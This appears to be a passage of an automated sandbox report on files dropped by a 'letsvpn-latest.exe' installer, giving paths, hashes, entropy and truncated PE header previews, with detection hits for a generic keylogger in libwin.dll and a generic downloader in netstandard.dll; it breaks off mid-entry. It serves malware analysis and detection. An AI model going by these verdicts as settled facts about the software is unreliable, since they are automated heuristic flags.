C:\Program Files (x86)\letsvpn\app-3.7.0\it\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20456
Entropy (8bit):	6.699936777322151
Encrypted:	false
SSDEEP:	384:D9WLKzFWe6lWo+pwKANynsAw/98E9VF3AM+oWKdprJw:xgKz+LAw/KENAMxrdxW
MD5:	C8EDE833D2149C6F3DC4BB5F39FB9E2B
SHA1:	BD2BADE2EB45AA6C3DC1B5FB32C81C40FC53579B
SHA-256:	45D6B661D5697E90A03BACA66A6BF059A4F90C1D54529236F9ACFACB7C35BA75
SHA-512:	79B91099688D6093211A65AA446A2C9FCBC87B8A710FE146D7B5164E179BFEDAE7B9C5607F5C46FD1947988F66733EB0FA1D4C450CAE6EAEBC953B69D4CDCECD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...(............." ..0..............9... ...@....... ...............................,....@.................................09..O....@...............$...+...`.......9............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................d9......H.......P ...............%.......8......................................BSJB............v4.0.30319......l...D...#~...... ...#Strings............#US.........#GUID...........#Blob......................3......................................,.......................r...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................l.....l.....l...).l...1.l...9.l...A.l...I.l...Q.l...Y.l.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

C:\Program Files (x86)\letsvpn\app-3.7.0\ja\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21480
Entropy (8bit):	6.860368489378448
Encrypted:	false
SSDEEP:	384:wNeZmFLRnyGO00Ik4oF3eUntWe6lWEppwKANynsAw/98E9VF3AM+ocKyWDe:wQZmFLRnyGO00Ik4oF3eUnGEAw/KENAJ
MD5:	2510E5DE6A78E23F5E5716A947692FCB
SHA1:	C82F7F60598B684D72BB7862EE988E0C8A3E4D60
SHA-256:	DC48E81DBD27F031F5D94BD9F52023D93387295CC03F2F4EFFF50B4C2305FAE7
SHA-512:	FE1890747348E6B4FEC06090DAFC1093E30F3BB9ECC402E80D6E5C36F99BCB2F1C1913904EE8062C610AB0EFBB92E4E9456BCFCB4822C589B8B6A0E99E61507B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0.............2=... ...@....... ....................................@..................................<..O....@...............(...+...`.......<............................................... ............... ..H............text...8.... ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......&..............@..B.................=......H.......P ...............%..p...D<......................................BSJB............v4.0.30319......l...D...#~...... ...#Strings............#US.........#GUID...........#Blob......................3....................................../.......................u...........].....].....]...D.]...a.].....]...-.].................o.....o.....o...).o...1.o...9.o...A.o...I.o...Q.o...Y.o.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

C:\Program Files (x86)\letsvpn\app-3.7.0\ko\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20968
Entropy (8bit):	6.868432230037487
Encrypted:	false
SSDEEP:	384:7QP73AIGoWe6lWiEpwKANynsAw/98E9VF3AM+onVHtH:7K7AIGN/Aw/KENAMxVl
MD5:	EFD2B4E0CEFB40944FCF85A8B4F4CAC4
SHA1:	D64794EED481D047ADECD3D75A74D312709B0A7A
SHA-256:	90EE6104D6F200B830D4B0D2416A769F6E60028A15CFBC0F65DF002FAF22171F
SHA-512:	68A0C7AD93155DFB58ECA9234FDEFE0DF3BA5AC109A19C5CF61BF889E77F85B9AF7485835E2E3F5BEDF6411D222512915D8EA970EC1D8390F71D18832BE6CE8B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....9..........." ..0.............2;... ...@....... ..............................ER....@..................................:..O....@...............&...+...`.......:............................................... ............... ..H............text...8.... ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B.................;......H.......P ...............%..p...D:......................................BSJB............v4.0.30319......l...D...#~...... ...#Strings............#US.........#GUID...........#Blob......................3......................................,.......................u...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................o.....o.....o...).o...1.o...9.o...A.o...I.o...Q.o...Y.o.......................#.....+.....3.@...;.e...C.y...K.....S.@.....................l.............

C:\Program Files (x86)\letsvpn\app-3.7.0\libwin.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	10637288
Entropy (8bit):	6.356201019347204
Encrypted:	false
SSDEEP:	98304:n0te2AQgbNlwrsN3iMkgVJyCCex3Xjl4VsdCm5G2p:0teW5lgbyu5Ty7mDp
MD5:	18ACE27FD087E225E3CDAC160EFDAFDD
SHA1:	8944171F8BF3B3738E30EA54B6CAC4C18D8488EA
SHA-256:	8000D8CD4E6C60B420DA110E8D28D262109BA0C2FDFA620021689A4C3F79B46C
SHA-512:	392192A200ED07DF75B3DA5B9FDF2E9EBBFD087D969C5FCBFCAA9B8BEC1F02216323132AF950BAD41D4C351FE4BEEA59AEB6B33EC53342836C84102CE28B748F
Malicious:	false
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Program Files (x86)\letsvpn\app-3.7.0\libwin.dll, Author: Joe Security
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#...)..K.. ...:............K...8b...............................6T....@... ......................0..D....@..$....p...............$...+......(E.................................................\|A..@............................text.....K.......K.................`..`.data...l.....K.......K.............@....rdata..\|PN...O..RN..pO.............@..@.bss.....9..............................edata..D....0.....................@..@.idata..$....@.....................@....CRT....,....P.....................@....tls.........`.....................@....rsrc........p.....................@..@.reloc..(E.......F.................@..B................................................................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.config

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3607
Entropy (8bit):	6.27044188314989
Encrypted:	false
SSDEEP:	96:l22xKLORF1pb5YrJWox7aI94UnvQdmrZ/xEKxD5q8fANY2Z:l22XFbawo1BvecZ/xXxF3INYY
MD5:	28F9077C304D8C626554818A5B5F3B3A
SHA1:	A01F735FE348383795D61AADD6AAB0CC3A9DB190
SHA-256:	746B5675EA85C21EF4FCC05E072383A7F83C5FE06AAA391FC3046F34B9817C90
SHA-512:	485C175BC13C64601B15243DAECBF72621883C2FF294852C9BBB2681937F7EF0BEA65361E0F83131EC989432326442EF387C1CCF2A7CA537C6788B8FD5C0021E
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8" ?>..<configuration>... Level........ -->... None > Fatal > ERROR > WARN > DEBUG > INFO > ALL-->... .....level.ERROR...cs......log4net.info()..............-->...<log4net>....<logger name="logger">.....<level value="ALL" />.....<appender-ref ref="LogAppender" />....</logger>.... ........-->.... <appender name="LogAppender" type="log4net.Appender.RollingFileAppender">-->....<appender name="LogAppender" type="log4net.Appender.RollingFileAppender">.....<param name="File" value="Log\\" />.....<param name="AppendToFile" value="true" />.....<param name="MaxFileSize" value="10240" />.....<param name="MaxSizeRollBackups" value="100" />.....<param name="StaticLogFileName" value="false" />.....<param name="DatePattern" value="yyyyMMdd".log"" />.....<param name="RollingStyle" value="Date" />..... ......-->.....<layout type="lo

C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	281576
Entropy (8bit):	5.699994218705734
Encrypted:	false
SSDEEP:	3072:4G0WgexKpGi8PnJcerXUaxX3HVeES4BEIqTTpX/4ormGpnaVTSGCkMhkEn7GAhCB:4JrycoB3HVeESME3pnaVTS1nh7hCauhR
MD5:	4A8525BF095DDAD4B988A03165584268
SHA1:	9DA5E7D7B40AB4FDA89EFCF9A12546D6DE9D40A5
SHA-256:	1D721DFDAE218873C411FC939CED1B12486B393A6C810C588342DD008F85FA3F
SHA-512:	6D763186C569FAB20BD51AEFC4F1B030EB9953097E7EAC024FEDD0498E45A8C6C6D59AE6729795DBD4E657F3DE9C17675B7F120FBE569F81C65033EC08E7FE53
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p3..........." ..0...... ........... ... ....... .......................`......1\|....`.................................h...O.... ............... ...+...@......L................................................ ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\app-3.7.0\microsoft.identitymodel.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1108968
Entropy (8bit):	5.831773521730096
Encrypted:	false
SSDEEP:	24576:t1WtBetKEfrsial0WV1pqfy+Jp15yKn6GyD:StBetKEfrsial0WV7215yKn6G4
MD5:	7B43C92114F7B7BB57B5AEB2BC7E9344
SHA1:	F36A064C92B1A73048818ED78BD408F441C1BDC5
SHA-256:	4A47C46A9ACDBD5A1DB9ECA17F0453710633B9A85748C45FC83F9B3B09E254D0
SHA-512:	A9A42A65FF2393313FC6F82B13DB8E859AC4B717B729D561B6AE5AD3E90A732DB565D2C3164381E9B66CF72A26158340C81ED0A290D3CA1FE937E5C27DBF2C16
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...&..\...........!......... ......N.... ........@.. ..............................3.....@.....................................W.......0................+..........P................................................ ............... ..H............text...T.... ...................... ..`.rsrc...0...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\app-3.7.0\netstandard.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	93672
Entropy (8bit):	5.518790914667912
Encrypted:	false
SSDEEP:	1536:x2Ec05j4eAH64rh5fSt5T9nFcI94WxAwrxo:glK4eA7mDmWxhK
MD5:	668EAEC427F8A4C3D57E8A580B0E2C73
SHA1:	91EBE1C270DE93C66FA8713675CA3CD595B80909
SHA-256:	EC365F7AFB9B44FC128D6327A17D4A1D1201F34E36ACA5DDF5D8055498BCA96E
SHA-512:	A3DBCEB380621F621722D2B9B2535ECE9AFF950A5038F4F99FCD6BB75F09B3527C2EBA664A4EE4DF3B86B52068E3CB85F84156056D9A155D6BC57D34A6F0C19F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Program Files (x86)\letsvpn\app-3.7.0\netstandard.dll, Author: Joe Security
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...M..Z.........." ..0..8...........U... ...`....... ....................................@..................................U..O....`..,............B...+........................................................... ............... ..H............text....6... ...8.................. ..`.rsrc...,....`.......:..............@..@.reloc...............@..............@..B.................U......H.......P ...4..................,U......................................BSJB............v4.0.30319......l...\|...#~.....d...#Strings....L3......#US.T3......#GUID...d3..x...#Blob......................3................................q.....2B........e$.M...,.M.....M...4.M...1.M...1.M..v..M....M....M....p...........................!.....).....1.....9.....A.....I.................................#.......+.......3.......;.J.....C.f.....K.f...................2.....................

C:\Program Files (x86)\letsvpn\app-3.7.0\pl\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20456
Entropy (8bit):	6.786590669634782
Encrypted:	false
SSDEEP:	384:cnss4wvEmF+4wpwlU+nACUOWe6lWAqpwKANynsAw/98E9VF3AM+oN2am:cn/PArHAw/KENAMxQB
MD5:	A034D19DDC69D985BC6E6F4542258CB6
SHA1:	57F1A9AEB02522379AD005C2F3064E6BA0AAEB9C
SHA-256:	47DC867FAA75E90302A764CCB8E309008CD24FE3AED89AD2FE2AE69FC6A199A0
SHA-512:	74C4A4AEF3650786791495A2D1023829A92872E80DAB5206AD6C0C489E759C73544263C202342A959A6E7D8BF374B3DBFAAD7AC915ACF861236B7838B7A9B203
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...I............." ..0..............9... ...@....... ....................................@.................................x9..O....@...............$...+...`......\9............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B.................9......H.......P ...............%.......8......................................BSJB............v4.0.30319......l...D...#~...... ...#Strings............#US.........#GUID...........#Blob......................3......................................,.......................u...........].....].....]...A.]...^.].....]...*.].................o.....o.....o...).o...1.o...9.o...A.o...I.o...Q.o...Y.o.......................#.....+.....3.@...;.e...C.y...K.....S.@.....................Z.............

C:\Program Files (x86)\letsvpn\app-3.7.0\pt-BR\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20456
Entropy (8bit):	6.711860474257598
Encrypted:	false
SSDEEP:	384:MqXQfVeSN32XFZWe6lW0UZpwKANynsAw/98E9VF3AM+oqTthC:Mg0Vyig4Aw/KENAMxGI
MD5:	816AA76B470505EB57B1AC780CC938AF
SHA1:	2DCD6B287BBA995086874D676D3A5816FE3376BF
SHA-256:	DAC4959224188439661696FF3BEA86B1C20F172F4E60358EE60522F21F5FC1F9
SHA-512:	F29D4490429AB8EE05186BC198F89A4495D20681D39CD8FAB027678FBABE26FB7EFFD48D0AD60388B87FFA93A2EFAE99757B394515F93FD439FA0F501116C538
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...m............." ..0.............V9... ...@....... ..............................(W....@..................................9..O....@...............$...+...`.......8............................................... ............... ..H............text...\.... ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................89......H.......P ...............%......h8......................................BSJB............v4.0.30319......l...D...#~......$...#Strings............#US.........#GUID...........#Blob......................3......................................2.......................x...........`.....`.....`...G.`...d.`.....`...0.`.................r.....r.....r...).r...1.r...9.r...A.r...I.r...Q.r...Y.r.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

C:\Program Files (x86)\letsvpn\app-3.7.0\ru\LetsPRO.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	76776
Entropy (8bit):	5.911997633120142
Encrypted:	false
SSDEEP:	1536:wzaor6WtGrIHOHfufUGBLR+gP8874zGgSmj40sqXz2RgUgmcAwrxVgq:kHBV+gP8874zGgSmjwqXz2RgUgmchsq
MD5:	3575DE62FE6E8E298CF383F0C207B6BB
SHA1:	D2C575E4269C6481A83B3569CF9CEA9616B1454E
SHA-256:	09A9C121C4333EB77A371A58B21EFE009280FAD654BA4E0283ABD81DA7F9217B
SHA-512:	4A145A4369C95FE863F99A35109940C7186DABF7DD9DFC56A150E6923C19C9DD646E875A9AB85FAF3DC90359323BD0CFB73C8DF83B150B432440ED32F6B0DC45
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....};f...........!................^.... ... ....... .......................`......y4....@.....................................O.... ...................+...@....................................................... ............... ..H............text...d.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................@.......H...........$...........P .............................................................lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP.S9.a.......dx.4.E.:.....u..n."..iP...T..:K..c7... ..n......Mn...~..*k;.E....J.[..H.......1..&...+.@..s.............7.Tk[......ue./.N..:...v....F.b.b.S^m.........pE...k....D.../L.e..-...<r.......a...........

C:\Program Files (x86)\letsvpn\app-3.7.0\ru\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21992
Entropy (8bit):	6.747265377557041
Encrypted:	false
SSDEEP:	384:A8knfHjuXOQWe6lWddpwKANynsAw/98E9VF3AM+oh1r57:ZAuXO1BAw/KENAMx/57
MD5:	A000E17C48AFF375A9D5DAE4637E6D9C
SHA1:	31B1589DA8BD4E84FB9F4D3F67905A0361189B85
SHA-256:	E033AD89A82E6EF1CCB82270C98A7D899E93386F8566F6D662ABA1241B0D46AE
SHA-512:	626C30E90E9EDBB73A07D1DBC16919BC39B2A46E249B17A1D8D188A315D3733B1CDA2F0C4689DF68B7D1B5FD7EFF2799CAC4989E32885FB65BF1ADF1B84E1F98
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...(............." ..0.. ...........>... ...@....... ....................................@..................................>..O....@..................+...`.......>............................................... ............... ..H............text........ ... .................. ..`.rsrc........@......."..............@..@.reloc.......`.......(..............@..B.................>......H.......P ...............%..8....>......................................BSJB............v4.0.30319......l...D...#~...... ...#Strings............#US.........#GUID...........#Blob......................3......................................,.......................r...........Z.....Z.....Z...A.Z...^.Z.....Z....Z.................l.....l.....l...).l...1.l...9.l...A.l...I.l...Q.l...Y.l.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-arm\native\e_sqlite3.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) ARMv7 Thumb, for MS Windows
Category:	dropped
Size (bytes):	905704
Entropy (8bit):	7.13132834632752
Encrypted:	false
SSDEEP:	24576:KoXErM5iD28EYQg502GXoU5C0ParRvbLhP:zXriD28xj52X7arp5
MD5:	785ADFB1D1268995620F5F2B8E8D00EE
SHA1:	A54E349EE1DE7BCD57B239D61B8ED714F3471778
SHA-256:	7873A0DE5DADE79E12899A20D8218FAE100110FFBCA0F516E8249B7F528DF3AE
SHA-512:	A52BB4C7D3446394706692F71A8F77D493DA2AEE356520BF1B10A2BCCDEEA24D8DD6BA227C1152D56732C52F03DA8014E9B15966E4092DEF2753A4C90BF50F9C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......`^ .$?N.$?N.$?N..WK..?N..WJ.?N..WO.'?N.$?O..?N.%RK.9?N.%RJ.)?N.%RM.?N..RJ.&?N..RN.%?N..R..%?N..RL.%?N.Rich$?N.........PE........^.........."!........................ ......................................R.....@A............................"......(............@..hO.......+.......?..0l..T............................l............... ...............................text............................... ..`.rdata..B.... ......................@..@.data...<J.......>..................@....pdata..hO...@...P..................@..@.rsrc................d..............@..@.reloc...?.......@...f..............@..B........................................................................................................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-x64\native\e_sqlite3.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1314280
Entropy (8bit):	6.546943837506406
Encrypted:	false
SSDEEP:	24576:dwDD7AuRNZxBNzFlbZcN16AL9hwYi20TAg7wkPL3:dIDbR1L/m9KYixcW7
MD5:	938A6FE5476FCEE6EA9E84989ACE173C
SHA1:	A73BA1BA2E14E7BD63511A9117537B27D3830193
SHA-256:	CB5CA40D259E44F3EB81F91C1662F7FFED539460DC6850EDB13207D3F4BDB878
SHA-512:	05C0035DC84BBD1E35391B0C3E52F93EE03629BEAB7095A3E1A854D8CC1A689ED789FA78370CD3424B4783F4EE04EFF883AEDA10CDCB474CFB99BCDCDD04B00D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.[.~.5.~.5.~.5.%.1.u.5.%.6.v.5.%.0...5.%.4.}.5.~.4...5...0.`.5...1.p.5...6.v.5..1.\|.5..5...5......5..7...5.Rich~.5.........PE..d.....^.........." ................P........................................P......z.....`A........................................ ...."..(...(.... .......@..h........+...0..........T............................................................................text............................... ..`.rdata..............................@..@.data....i.......T..................@....pdata..h....@......................@..@_RDATA..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-x86\native\e_sqlite3.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1029608
Entropy (8bit):	6.749777649807674
Encrypted:	false
SSDEEP:	24576:rBvdKGB6hOsMxCmy+rAnpyAqhTz3RzVNUOxKKoSQd:NvdKGBmWNAnpc3Rz1KKoS8
MD5:	EE9E953ADF3EC9EEBA38CB55A5F3DC52
SHA1:	9FE2E4C80D731131A3284E4C22C137CFC669CF55
SHA-256:	78B7CBE99FFA1BF2DEFBE87FD219246DA55F5A677D7E60453A0EA3CF91F2D2A3
SHA-512:	554F0FCFA4181E243BF52015075498A17E2498623860F0BFAEA81BDD4F94286EDC69F43E1E6B164052040E3D1872A5718501EC8F877B0C5888370714555A91A4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........E......................#.....................2...........................z.......z.......z.......z.......Rich............................PE..L.....^...........!.....R...B..............p......................................pQ....@A........................ ...."..(...(....`...................+...p...\......T...........................(...@............p...............................text....Q.......R.................. ..`.rdata..z....p.......V..............@..@.data....K.......>..................@....rsrc........`.......*..............@..@.reloc...\...p...^...,..............@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\app-3.7.0\tr\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20456
Entropy (8bit):	6.6984022574942355
Encrypted:	false
SSDEEP:	384:ffH3xC8M83We6lWnTpwKANynsAw/98E9VF3AM+otxJTFXG:3c8M8YFAw/KENAMxrrG
MD5:	91AE72A8E53FA3669B56FE855EE217EB
SHA1:	3C15EFF5FB84420548FE9F162BF22E5AA775BB0C
SHA-256:	CAD300B595907682762CC2EBAF9C856F54A37D4373A6D96A5FF1C6113532179F
SHA-512:	EDC220CAD9A55F724BA43912D89F22CDAE56BDFC65A3E19040E54FCCB82443C532516FC585409CCE4496116D656B345420CCC737BBD0FB880A4BBB39A5B8D210
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...S............." ..0.............J8... ...@....... ..............................AY....@..................................7..O....@...............$...+...`.......7............................................... ............... ..H............text...P.... ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................,8......H.......P ...............%......\7......................................BSJB............v4.0.30319......l...D...#~...... ...#Strings............#US.........#GUID...........#Blob......................3......................................,.......................u...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................l.....l.....l...).l...1.l...9.l...A.l...I.l...Q.l...Y.l.......................#.....+.....3.@...;.e...C.y...K.....S.@.....................r.............

C:\Program Files (x86)\letsvpn\app-3.7.0\x64\WebView2Loader.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	138728
Entropy (8bit):	6.191078705692302
Encrypted:	false
SSDEEP:	3072:yqMrTPTNy56J4JQSfB6yRkkGvaYhfls6DREtfw6aQ59hc:yNPTQ6Ga+BtakGvVEtCOhc
MD5:	30FCCFBD9F0988ADA9C87072C565F1C5
SHA1:	98D75EBCBAF23A4914CD475C14918432C89C7F92
SHA-256:	F65A5AF7997ED93583243C245237C09A088D00C63268287CDCC05028A9BDF57A
SHA-512:	BBF9F0F9CD33631F2A548F367F5BDDCFCAF58EA3391A327FE0B3A2FE88AEAE86F093B91BFF9BF0B9B7010240D2DF2EC6EDA3AEF0DED1BB14FF39A29E51938226
Malicious:	false
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......`.........." ................P9.......................................p............`A........................................G.......9...(....P...................+...`......D...........................(....1..0..................8........................text............................... ..`.rdata.......0......................@..@.data...............................@....pdata..............................@..@.00cfg..(.... ......................@..@.tls.........0......................@..._RDATA.......@......................@..@.rsrc........P......................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\app-3.7.0\x86\WebView2Loader.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	112616
Entropy (8bit):	6.526884991962997
Encrypted:	false
SSDEEP:	3072:hlzhJmad5M+ekPfJFVwKrSDnuP7HCt+/NyIDfEtPsn/j481Jhc:hlzqaHM+eCTrSDuP7ZbEtUnr51Jhc
MD5:	065E6B499AA4E746E189A763A62FDD36
SHA1:	A053AE3E8D86A8399E689E76614412112EC67DA7
SHA-256:	10335A1F61B0C6DEBCAE682DCA6E456CF515C744A70B3E63A21E9577ADA11317
SHA-512:	EE40EE00536A806053DBC09498F70699988D90B0466E26D4B842D2D04A5FFB9F550329B0431B432258CFE3D20D13C4ED6D426734B3713C2931E589DB253B5DF9
Malicious:	false
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......`.........."!.................4....................................................@A.........................k.......l..(........................+......L...Ph.......................f......`...............8n..8....i.......................text...e........................... ..`.rdata...k.......l..................@..@.data................d..............@....00cfg...............n..............@..@.tls.................p..............@....voltbl.H............r...................rsrc................t..............@..@.reloc..L............z..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\app-3.7.0\zh-CN\LetsPRO.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	58856
Entropy (8bit):	6.2824901287107195
Encrypted:	false
SSDEEP:	768:J0/zwwtNGdrRXT6oqSvMGG4f0euQnlt41BOUAw/KENAMxJh:Yzwe+1eoqaO4f05+ltFUAwrxf
MD5:	6E6BB5F1812895826B6EBB85864D1183
SHA1:	AB6F508FBE8E52C3E573139554910378EDD3CEB9
SHA-256:	A596ABADAFFDE49030BD28C86DDD49659DE89FBC491E129F571FDE161D2436E3
SHA-512:	0A2897B21C74F019EC93CB889BEC7556F46485C6E86C70A1FD996BA22EB4DC4CA414DD6921A1C53F3C57F5890EB5F5F16F7009327631A83CF2A605DB5F6A959D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....};f...........!..................... ........... ....................... ............@.....................................S........................+........................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......p...(...........P .............................................................lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP.S9.a.......dx.4.E.:.....u..n."..iP...T..:K..c7... ..n......Mn...~..*k;.E....J.[..H.......1..&...+.@..s.............7.Tk[......ue./.N..:...v....F.b.b.S^m.........pE...k....D.../L.e..-...<r.......a...........

C:\Program Files (x86)\letsvpn\app-3.7.0\zh-HK\LetsPRO.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	59368
Entropy (8bit):	6.250778881491314
Encrypted:	false
SSDEEP:	768:10/zwwmSLGdKS2BUk1GXjgCEbOZ6zpcO+6jcHyYqwAw/KENAMxR5:EzweIKf+kyjgC2U++OcHWwAwrxR5
MD5:	0ED1039C803117E7F1EE77A66E39032C
SHA1:	E37C7D215FD6404932B7E09528CE47978E4E6B3A
SHA-256:	B1C02DE95565AF3026675B4DDB224EB976EB244F8F814F7413758A02ABA99A04
SHA-512:	711B678F342F8231E1F2AC6D58E608DDB8382246BDCA98F22B40667B0132753C9D9A7B3FA6681D48168A7162C2654BC00E7336FBF4BC6C0BF9E79950A6407336
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....};f...........!..................... ........... ....................... .......a....@.....................................W........................+........................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H...........(...........P ..J...........................................F..............lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP.S9.a.......dx.4.E.:.....u..n."..iP...T..:K..c7... ..n......Mn...~..*k;.E....J.[..H.......1..&...+.@..s.............7.Tk[......ue./.N..:...v....F.b.b.S^m.........pE...k....D.../L.e..-...<r.......a...........

C:\Program Files (x86)\letsvpn\app-3.7.0\zh-Hans\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	19944
Entropy (8bit):	6.9192612268553875
Encrypted:	false
